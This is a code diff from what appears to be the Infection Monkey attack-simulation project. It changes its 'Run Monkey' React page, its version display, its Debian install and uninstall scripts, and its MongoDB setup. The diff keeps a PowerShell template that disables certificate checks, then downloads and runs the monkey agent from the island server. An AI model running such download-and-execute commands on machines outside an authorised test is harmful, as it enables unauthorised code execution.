return `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','.\\monkey.exe'); ;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
|
return `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','.\\monkey.exe'); ;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
|
||||||
}
|
}
|
||||||
|
@ -118,9 +133,9 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
let is32Bit = (this.state.selectedOs.split('-')[1] === '32');
|
let is32Bit = (this.state.selectedOs.split('-')[1] === '32');
|
||||||
let cmdText = '';
|
let cmdText = '';
|
||||||
if (isLinux) {
|
if (isLinux) {
|
||||||
cmdText = this.generateLinuxCmd(this.state.selectedIp, is32Bit);
|
cmdText = RunMonkeyPageComponent.generateLinuxCmd(this.state.selectedIp, is32Bit);
|
||||||
} else {
|
} else {
|
||||||
cmdText = this.generateWindowsCmd(this.state.selectedIp, is32Bit);
|
cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit);
|
||||||
}
|
}
|
||||||
return (
|
return (
|
||||||
<Well key={'cmdDiv'+this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}>
|
<Well key={'cmdDiv'+this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}>
|
||||||
|
@ -148,7 +163,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
renderIconByState(state) {
|
static renderIconByState(state) {
|
||||||
if (state === 'running') {
|
if (state === 'running') {
|
||||||
return <Icon name="check" className="text-success" style={{'marginLeft': '5px'}}/>
|
return <Icon name="check" className="text-success" style={{'marginLeft': '5px'}}/>
|
||||||
} else if (state === 'installing') {
|
} else if (state === 'installing') {
|
||||||
|
@ -204,19 +219,6 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
updateAwsKeyId = (evt) => {
|
|
||||||
this.setState({
|
|
||||||
awsKeyId: evt.target.value
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
updateAwsSecretKey = (evt) => {
|
|
||||||
this.setState({
|
|
||||||
awsSecretKey: evt.target.value
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
fetchConfig() {
|
fetchConfig() {
|
||||||
return this.authFetch('/api/configuration/island')
|
return this.authFetch('/api/configuration/island')
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
|
@ -224,41 +226,6 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
return res.configuration;
|
return res.configuration;
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
updateAwsKeys = () => {
|
|
||||||
this.setState({
|
|
||||||
awsUpdateClicked: true,
|
|
||||||
awsUpdateFailed: false
|
|
||||||
});
|
|
||||||
this.fetchConfig()
|
|
||||||
.then(config => {
|
|
||||||
let new_config = config;
|
|
||||||
new_config['cnc']['aws_config']['aws_access_key_id'] = this.state.awsKeyId;
|
|
||||||
new_config['cnc']['aws_config']['aws_secret_access_key'] = this.state.awsSecretKey;
|
|
||||||
return new_config;
|
|
||||||
})
|
|
||||||
.then(new_config => {
|
|
||||||
this.authFetch('/api/configuration/island',
|
|
||||||
{
|
|
||||||
method: 'POST',
|
|
||||||
headers: {'Content-Type': 'application/json'},
|
|
||||||
body: JSON.stringify(new_config)
|
|
||||||
})
|
|
||||||
.then(res => res.json())
|
|
||||||
.then(res => {
|
|
||||||
this.fetchAwsInfo()
|
|
||||||
.then(res => {
|
|
||||||
if (!this.state.isAwsAuth) {
|
|
||||||
this.setState({
|
|
||||||
awsUpdateClicked: false,
|
|
||||||
awsUpdateFailed: true
|
|
||||||
})
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
instanceIdToInstance = (instance_id) => {
|
instanceIdToInstance = (instance_id) => {
|
||||||
let instance = this.state.awsMachines.find(
|
let instance = this.state.awsMachines.find(
|
||||||
function (inst) {
|
function (inst) {
|
||||||
|
@ -268,9 +235,15 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
renderAuthAwsDiv() {
|
renderAwsMachinesDiv() {
|
||||||
return (
|
return (
|
||||||
<div style={{'marginBottom': '2em'}}>
|
<div style={{'marginBottom': '2em'}}>
|
||||||
|
<div style={{'marginTop': '1em', 'marginBottom': '1em'}}>
|
||||||
|
<p className="alert alert-info">
|
||||||
|
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||||
|
Not sure what this is? Not seeing your AWS EC2 instances? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read the documentation</a>!
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
{
|
{
|
||||||
this.state.ips.length > 1 ?
|
this.state.ips.length > 1 ?
|
||||||
<Nav bsStyle="pills" justified activeKey={this.state.selectedIp} onSelect={this.setSelectedIp}
|
<Nav bsStyle="pills" justified activeKey={this.state.selectedIp} onSelect={this.setSelectedIp}
|
||||||
|
@ -296,60 +269,6 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
</div>
|
</div>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
renderNotAuthAwsDiv() {
|
|
||||||
return (
|
|
||||||
<div style={{'marginBottom': '2em'}}>
|
|
||||||
<p style={{'fontSize': '1.2em'}}>
|
|
||||||
You haven't set your AWS account details or they're incorrect. Please enter them below to proceed.
|
|
||||||
</p>
|
|
||||||
<div style={{'marginTop': '1em'}}>
|
|
||||||
<div className="col-sm-12">
|
|
||||||
<div className="col-sm-6 col-sm-offset-3" style={{'fontSize': '1.2em'}}>
|
|
||||||
<div className="panel panel-default">
|
|
||||||
<div className="panel-body">
|
|
||||||
<div className="input-group center-block text-center">
|
|
||||||
<input type="text" className="form-control" placeholder="AWS Access Key ID"
|
|
||||||
value={this.state.awsKeyId}
|
|
||||||
onChange={evt => this.updateAwsKeyId(evt)}/>
|
|
||||||
<input type="text" className="form-control" placeholder="AWS Secret Access Key"
|
|
||||||
value={this.state.awsSecretKey}
|
|
||||||
onChange={evt => this.updateAwsSecretKey(evt)}/>
|
|
||||||
<Button
|
|
||||||
onClick={this.updateAwsKeys}
|
|
||||||
className={'btn btn-default btn-md center-block'}
|
|
||||||
disabled={this.state.awsUpdateClicked}
|
|
||||||
variant="primary">
|
|
||||||
Update AWS details
|
|
||||||
{ this.state.awsUpdateClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
|
|
||||||
</Button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
|
|
||||||
<p className="alert alert-info">
|
|
||||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
|
||||||
In order to remotely run commands on AWS EC2 instances, please make sure you have
|
|
||||||
the <a href="https://docs.aws.amazon.com/console/ec2/run-command/prereqs" target="_blank">prerequisites</a> and if the
|
|
||||||
instances don't show up, check the
|
|
||||||
AWS <a href="https://docs.aws.amazon.com/console/ec2/run-command/troubleshooting" target="_blank">troubleshooting guide</a>.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
{
|
|
||||||
this.state.awsUpdateFailed ?
|
|
||||||
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
|
|
||||||
<p className="alert alert-danger" role="alert">Authentication failed.</p>
|
|
||||||
</div>
|
|
||||||
:
|
|
||||||
null
|
|
||||||
}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<Col xs={12} lg={8}>
|
<Col xs={12} lg={8}>
|
||||||
|
@ -364,7 +283,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
disabled={this.state.runningOnIslandState !== 'not_running'}
|
disabled={this.state.runningOnIslandState !== 'not_running'}
|
||||||
>
|
>
|
||||||
Run on Monkey Island Server
|
Run on Monkey Island Server
|
||||||
{ this.renderIconByState(this.state.runningOnIslandState) }
|
{ RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState) }
|
||||||
</button>
|
</button>
|
||||||
{
|
{
|
||||||
// TODO: implement button functionality
|
// TODO: implement button functionality
|
||||||
|
@ -412,6 +331,21 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
{this.generateCmdDiv()}
|
{this.generateCmdDiv()}
|
||||||
</div>
|
</div>
|
||||||
</Collapse>
|
</Collapse>
|
||||||
|
{
|
||||||
|
this.state.isLoadingAws ?
|
||||||
|
<p style={{'marginBottom': '2em', 'align': 'center'}}>
|
||||||
|
<div className='sweet-loading'>
|
||||||
|
<GridLoader
|
||||||
|
css={loading_css_override}
|
||||||
|
sizeUnit={"px"}
|
||||||
|
size={30}
|
||||||
|
color={'#ffcc00'}
|
||||||
|
loading={this.state.loading}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</p>
|
||||||
|
: null
|
||||||
|
}
|
||||||
{
|
{
|
||||||
this.state.isOnAws ?
|
this.state.isOnAws ?
|
||||||
<p className="text-center">
|
<p className="text-center">
|
||||||
|
@ -432,7 +366,17 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
<Collapse in={this.state.showAws}>
|
<Collapse in={this.state.showAws}>
|
||||||
{
|
{
|
||||||
this.state.isAwsAuth ? this.renderAuthAwsDiv() : this.renderNotAuthAwsDiv()
|
this.state.isErrorWhileCollectingAwsMachines ?
|
||||||
|
<div style={{'marginTop': '1em'}}>
|
||||||
|
<p class="alert alert-danger">
|
||||||
|
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
|
||||||
|
Error while collecting AWS machine data. Error message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/>
|
||||||
|
Are you sure you've set the correct role on your Island AWS machine?<br/>
|
||||||
|
Not sure what this is? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read the documentation</a>!
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
:
|
||||||
|
this.renderAwsMachinesDiv()
|
||||||
}
|
}
|
||||||
|
|
||||||
</Collapse>
|
</Collapse>
|
||||||
|
|
|
@ -0,0 +1,46 @@
|
||||||
|
import React from 'react';
|
||||||
|
import {Icon} from 'react-fa';
|
||||||
|
|
||||||
|
class VersionComponent extends React.Component {
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
this.state = {
|
||||||
|
currentVersion: undefined,
|
||||||
|
newerVersion: undefined,
|
||||||
|
downloadLink: undefined
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
componentDidMount() {
|
||||||
|
fetch('/api/version-update') // This is not authenticated on purpose
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(res => {
|
||||||
|
this.setState({
|
||||||
|
currentVersion: res['current_version'],
|
||||||
|
newerVersion: res['newer_version'],
|
||||||
|
downloadLink: res['download_link'],
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div className="version-text text-center">
|
||||||
|
Infection Monkey Version: {this.state.currentVersion}
|
||||||
|
{
|
||||||
|
this.state.newerVersion ?
|
||||||
|
<div>
|
||||||
|
<b>Newer version available!</b>
|
||||||
|
<br/>
|
||||||
|
<b><a target="_blank" href={this.state.downloadLink}>Download here <Icon name="download"/></a></b>
|
||||||
|
</div>
|
||||||
|
:
|
||||||
|
undefined
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
export default VersionComponent;
|
|
@ -546,6 +546,16 @@ body {
|
||||||
margin-bottom: 20px;
|
margin-bottom: 20px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.version-text {
|
||||||
|
font-size: 0.9em;
|
||||||
|
position: absolute;
|
||||||
|
bottom: 5px;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
||||||
|
|
||||||
.attack-report.footer-text{
|
.attack-report.footer-text{
|
||||||
text-align: right;
|
text-align: right;
|
||||||
font-size: 0.8em;
|
font-size: 0.8em;
|
||||||
|
|
|
@ -70,7 +70,7 @@ $black: #000000;
|
||||||
position: absolute;
|
position: absolute;
|
||||||
top: 50%;
|
top: 50%;
|
||||||
left: 50%;
|
left: 50%;
|
||||||
width: 50%;
|
width: 100%;
|
||||||
transform: translate3d(-50%, -50%, 0); // center center by default
|
transform: translate3d(-50%, -50%, 0); // center center by default
|
||||||
|
|
||||||
// set the square
|
// set the square
|
||||||
|
|
|
@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
|
||||||
Priority: optional
|
Priority: optional
|
||||||
Version: 1.0
|
Version: 1.0
|
||||||
Description: Guardicore Infection Monkey Island installation package
|
Description: Guardicore Infection Monkey Island installation package
|
||||||
Depends: openssl, python-pip, python-dev, mongodb
|
Depends: openssl, python-pip, python-dev
|
||||||
|
|
|
@ -9,16 +9,15 @@ pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER
|
||||||
virtualenv -p python2.7 ${PYTHON_FOLDER}
|
virtualenv -p python2.7 ${PYTHON_FOLDER}
|
||||||
|
|
||||||
# install pip requirements
|
# install pip requirements
|
||||||
${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER
|
${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER
|
||||||
|
|
||||||
# remove installation folder and unnecessary files
|
# remove installation folder and unnecessary files
|
||||||
rm -rf ${INSTALLATION_FOLDER}
|
rm -rf ${INSTALLATION_FOLDER}
|
||||||
rm -f ${MONKEY_FOLDER}/monkey_island/pip_requirements.txt
|
rm -f ${MONKEY_FOLDER}/monkey_island/requirements.txt
|
||||||
|
|
||||||
cp ${MONKEY_FOLDER}/monkey_island/ubuntu/* /etc/init/
|
|
||||||
if [ -d "/etc/systemd/network" ]; then
|
if [ -d "/etc/systemd/network" ]; then
|
||||||
cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/
|
cp ${MONKEY_FOLDER}/monkey_island/service/systemd/*.service /lib/systemd/system/
|
||||||
chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh
|
chmod +x ${MONKEY_FOLDER}/monkey_island/service/systemd/start_server.sh
|
||||||
systemctl daemon-reload
|
systemctl daemon-reload
|
||||||
systemctl enable monkey-island
|
systemctl enable monkey-island
|
||||||
fi
|
fi
|
||||||
|
|
|
@ -0,0 +1,35 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
MONKEY_FOLDER=/var/monkey
|
||||||
|
INSTALLATION_FOLDER=/var/monkey/monkey_island/installation
|
||||||
|
PYTHON_FOLDER=/var/monkey/monkey_island/bin/python
|
||||||
|
|
||||||
|
# Prepare python virtualenv
|
||||||
|
pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER
|
||||||
|
virtualenv -p python2.7 ${PYTHON_FOLDER}
|
||||||
|
|
||||||
|
# install pip requirements
|
||||||
|
${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER
|
||||||
|
|
||||||
|
# remove installation folder and unnecessary files
|
||||||
|
rm -rf ${INSTALLATION_FOLDER}
|
||||||
|
rm -f ${MONKEY_FOLDER}/monkey_island/requirements.txt
|
||||||
|
|
||||||
|
${MONKEY_FOLDER}/monkey_island/install_mongo.sh ${MONKEY_FOLDER}/monkey_island/bin/mongodb
|
||||||
|
|
||||||
|
if [ -d "/etc/systemd/network" ]; then
|
||||||
|
cp ${MONKEY_FOLDER}/monkey_island/service/systemd/*.service /lib/systemd/system/
|
||||||
|
chmod +x ${MONKEY_FOLDER}/monkey_island/service/systemd/start_server.sh
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable monkey-mongo
|
||||||
|
systemctl enable monkey-island
|
||||||
|
fi
|
||||||
|
|
||||||
|
${MONKEY_FOLDER}/monkey_island/create_certificate.sh
|
||||||
|
|
||||||
|
service monkey-island start
|
||||||
|
service monkey-mongo start
|
||||||
|
|
||||||
|
echo Monkey Island installation ended
|
||||||
|
|
||||||
|
exit 0
|
|
@ -0,0 +1,11 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
service monkey-island stop || true
|
||||||
|
service monkey-mongo stop || true
|
||||||
|
|
||||||
|
[ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service
|
||||||
|
[ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service
|
||||||
|
|
||||||
|
rm -r -f /var/monkey
|
||||||
|
|
||||||
|
exit 0
|
|
@ -1,19 +0,0 @@
|
||||||
python-dateutil
|
|
||||||
tornado
|
|
||||||
werkzeug
|
|
||||||
jinja2
|
|
||||||
markupsafe
|
|
||||||
itsdangerous
|
|
||||||
click
|
|
||||||
flask
|
|
||||||
Flask-Pymongo
|
|
||||||
Flask-Restful
|
|
||||||
Flask-JWT
|
|
||||||
jsonschema
|
|
||||||
netifaces
|
|
||||||
ipaddress
|
|
||||||
enum34
|
|
||||||
pycryptodome
|
|
||||||
boto3
|
|
||||||
awscli
|
|
||||||
virtualenv
|
|
|
@ -4,7 +4,7 @@ After=network.target
|
||||||
|
|
||||||
[Service]
|
[Service]
|
||||||
Type=simple
|
Type=simple
|
||||||
ExecStart=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh
|
ExecStart=/var/monkey/monkey_island/service/systemd/start_server.sh
|
||||||
|
|
||||||
[Install]
|
[Install]
|
||||||
WantedBy=multi-user.target
|
WantedBy=multi-user.target
|
|
@ -0,0 +1,11 @@
|
||||||
|
[Unit]
|
||||||
|
Description=Monkey Island Service
|
||||||
|
Wants=monkey-mongo.service
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
ExecStart=/var/monkey/monkey_island/service/systemd/start_server.sh
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
|
@ -0,0 +1,12 @@
|
||||||
|
[Unit]
|
||||||
|
Description=Monkey Island Mongo Service
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db
|
||||||
|
KillMode=process
|
||||||
|
Restart=always
|
||||||
|
ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
|
@ -0,0 +1,39 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
export os_version_monkey=$(cat /etc/issue)
|
||||||
|
MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mongodb
|
||||||
|
|
||||||
|
if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]] ;
|
||||||
|
then
|
||||||
|
echo Detected Ubuntu 16.04
|
||||||
|
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-3.6.12.tgz"
|
||||||
|
elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ;
|
||||||
|
then
|
||||||
|
echo Detected Ubuntu 18.04
|
||||||
|
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz"
|
||||||
|
elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ;
|
||||||
|
then
|
||||||
|
echo Detected Debian 8
|
||||||
|
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian81-3.6.12.tgz"
|
||||||
|
elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]] ;
|
||||||
|
then
|
||||||
|
echo Detected Debian 9
|
||||||
|
export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-3.6.12.tgz"
|
||||||
|
else
|
||||||
|
echo Unsupported OS
|
||||||
|
exit -1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TEMP_MONGO=$(mktemp -d)
|
||||||
|
pushd ${TEMP_MONGO}
|
||||||
|
wget ${tgz_url} -O mongodb.tgz
|
||||||
|
tar -xf mongodb.tgz
|
||||||
|
popd
|
||||||
|
|
||||||
|
mkdir -p ${MONGODB_DIR}/bin
|
||||||
|
cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod
|
||||||
|
cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/
|
||||||
|
chmod a+x ${MONGODB_DIR}/bin/mongod
|
||||||
|
rm -r ${TEMP_MONGO}
|
||||||
|
|
||||||
|
exit 0
|
|
@ -1,18 +0,0 @@
|
||||||
description "Monkey Island Service"
|
|
||||||
|
|
||||||
start on runlevel [2345]
|
|
||||||
stop on runlevel [!2345]
|
|
||||||
|
|
||||||
respawn
|
|
||||||
respawn limit unlimited
|
|
||||||
|
|
||||||
script
|
|
||||||
chdir /var/monkey
|
|
||||||
exec monkey_island/bin/python/bin/python monkey_island.py
|
|
||||||
end script
|
|
||||||
|
|
||||||
post-stop script
|
|
||||||
if [ -n $UPSTART_EVENTS ]; then
|
|
||||||
exec sleep 2
|
|
||||||
fi
|
|
||||||
end script
|
|
|
@ -65,12 +65,8 @@ How to run:
|
||||||
|
|
||||||
4. Setup MongoDB (Use one of the two following options):
|
4. Setup MongoDB (Use one of the two following options):
|
||||||
4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
|
4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
|
||||||
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
|
4.a.1. Run '/var/monkey_island/linux/install_mongo.sh /var/monkey_island/bin/mongodb'
|
||||||
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
|
This will download and extract the relevant mongoDB for your OS.
|
||||||
find more at - https://www.mongodb.org/downloads#production
|
|
||||||
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
|
|
||||||
(make sure the content of the mongo folder is in this directory, meaning this path exists:
|
|
||||||
/var/monkey_island/bin/mongodb/bin)
|
|
||||||
OR
|
OR
|
||||||
4.b. Use already running instance of mongodb
|
4.b. Use already running instance of mongodb
|
||||||
4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server
|
4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
bson
|
||||||
python-dateutil
|
python-dateutil
|
||||||
tornado==5.1.1
|
tornado==5.1.1
|
||||||
werkzeug
|
werkzeug
|
||||||
|
@ -15,7 +16,10 @@ ipaddress
|
||||||
enum34
|
enum34
|
||||||
pycryptodome
|
pycryptodome
|
||||||
boto3
|
boto3
|
||||||
awscli
|
botocore
|
||||||
bson
|
|
||||||
cffi
|
|
||||||
PyInstaller
|
PyInstaller
|
||||||
|
awscli
|
||||||
|
cffi
|
||||||
|
virtualenv
|
||||||
|
wheel
|
||||||
|
requests
|
||||||
|
|
|
@ -1,3 +1,3 @@
|
||||||
REM - Runs MongoDB Server -
|
REM - Runs MongoDB Server -
|
||||||
@title MongoDB
|
@title MongoDB
|
||||||
@bin\mongodb\mongod.exe --dbpath db
|
@bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1
|
Loading…
Reference in New Issue